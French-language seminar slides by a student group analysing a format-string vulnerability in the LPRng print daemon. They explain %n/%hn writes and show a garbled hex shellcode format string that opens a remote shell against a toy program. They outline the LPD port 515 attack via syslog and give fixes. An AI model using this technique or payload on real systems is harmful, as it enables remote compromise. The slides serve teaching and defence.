Analyse d’une attaque contre le systeme LPRng (groupe 7) - La vulnerabilite des format strings - Qu’est ce qu’une attaque de format strings? - Comment proviter de cette vulnerabilite pour ecrire des valeurs - Exemple d’application de l’attaque pour un programme simple - Une vulnerabilite dans LPRng - Le protocole LPD - Un bug de format de string dans une fonction de logging - L’attaque contre LPRng - Les solutions
La vulnerabilite des format strings Qu’est ce qu’une vulnerabilite de format string? Qu’est ce qu’une vulnerabilite de format string? Exemple: Exemple: void main() { char buf[512]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); printf(buf);} A premiere vue pas de buffer overflow A premiere vue pas de buffer overflow Possibilite de lire des valeurs sur le stack, par exemple quand buf= “%x”. Possibilite de lire des valeurs sur le stack, par exemple quand buf= “%x”.
La vulnerabilite des format strings Comment ecrire des valeurs? Comment ecrire des valeurs? Utiliser la commande ‘%n’ de printf Utiliser la commande ‘%n’ de printf Exemple: Exemple: snprintf(buf, 4, "%100d%n", 0, &i) Comment faire pour ecrire des grandes valeurs a n’importe quel endroit? Comment faire pour ecrire des grandes valeurs a n’importe quel endroit? Utiliser %123$hn Utiliser %123$hn Exemple: Exemple:hi=(bigvalue>>16);lo=(bigvalue&0xffff)+0x10000-hi; sprintf(buf, "%%dd%1$hn%%dd%2$hn", hi, lo); Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn" Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn"
La vulnerabilite des format strings Exemple d’attaque Exemple d’attaque Programme cible: Programme cible: void main() { char buf[512]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); printf(buf);} Format string utilise pour lancer un remote shell a partir de ce programme: Format string utilise pour lancer un remote shell a partir de ce programme: E2 F9 FF BF E0 F9 FF BF %49143d% E E1$hn%79865d%2$hn EB 3B 5E 29 C C C D 4E 08 B0 66 CD C F..N..f..C.F..f E C0 89 C B ^..F.)....F...f D 4E E 0C 8D 4E 08 EB 02 EB 3A B0F..N..N..N....: CD E 0C B0 66 CD C 89f...^.CC.f...V B CD C3 B0 3F 29 C9 CD 80 B0V..fC.....?) F 41 CD 80 B0 3F 41 CD C 87?A...?A...V..v F3 8D 4B 0C B0 0B CD E8 84 FF FF FF 2F 62..K /b A0 69 6E 2F 73 68in/sh
Une vulnerabilite dans LPRng Le protocole LPD: Le protocole LPD: - une connection TCP sur le port 515 par commande - le premier byte du message envoye identifie la commande que l’on veut envoyer - voir RFC1179 pour details
Une vulnerabilite dans LPRng Un bug de format string dans une fonction de logging: Un bug de format string dans une fonction de logging: Quand un message recu ne correspond pas a une requete valide, le contenu du message est envoye a syslogd par l’appel suivant: Quand un message recu ne correspond pas a une requete valide, le contenu du message est envoye a syslogd par l’appel suivant: (void) syslog(SYSLOG_FACILITY | kind, msg); Le deuxieme argument de syslog correspond a un format string, comme le premier argument de printf, d’ou la vulnerabilite. Le deuxieme argument de syslog correspond a un format string, comme le premier argument de printf, d’ou la vulnerabilite.
L’attaque contre LPRng Envoyer dans un message au serveur lpd une requete intentionnellement invalide Envoyer dans un message au serveur lpd une requete intentionnellement invalide => le contenu du message sera envoye par syslog en position de format string => le contenu du message sera envoye par syslog en position de format string Inserer dans le message un format string malicieux Inserer dans le message un format string malicieux Effectuer une recherche brute force pour deviner la position dans le stack du buffer dans lequel sera stocke le message Effectuer une recherche brute force pour deviner la position dans le stack du buffer dans lequel sera stocke le message L’attaque a ete testee avec succes sur plusieurs systemes Redhat7.0 mis a disposition des etudiants pour le seminaire. L’attaque a ete testee avec succes sur plusieurs systemes Redhat7.0 mis a disposition des etudiants pour le seminaire.
Les solutions Ne jamais utliser comme format string une chaine de caracteres pouvant provenir de l’utilisateur Ne jamais utliser comme format string une chaine de caracteres pouvant provenir de l’utilisateur Remplacer Remplacer (void) syslog(SYSLOG_FACILITY | kind, msg); Par (void) syslog(SYSLOG_FACILITY | kind, "%s", msg); Utiliser des versions de LPRng > Utiliser des versions de LPRng > Detection d’intrusion en examinant le contenu des paquets envoyes au port 515 Detection d’intrusion en examinant le contenu des paquets envoyes au port 515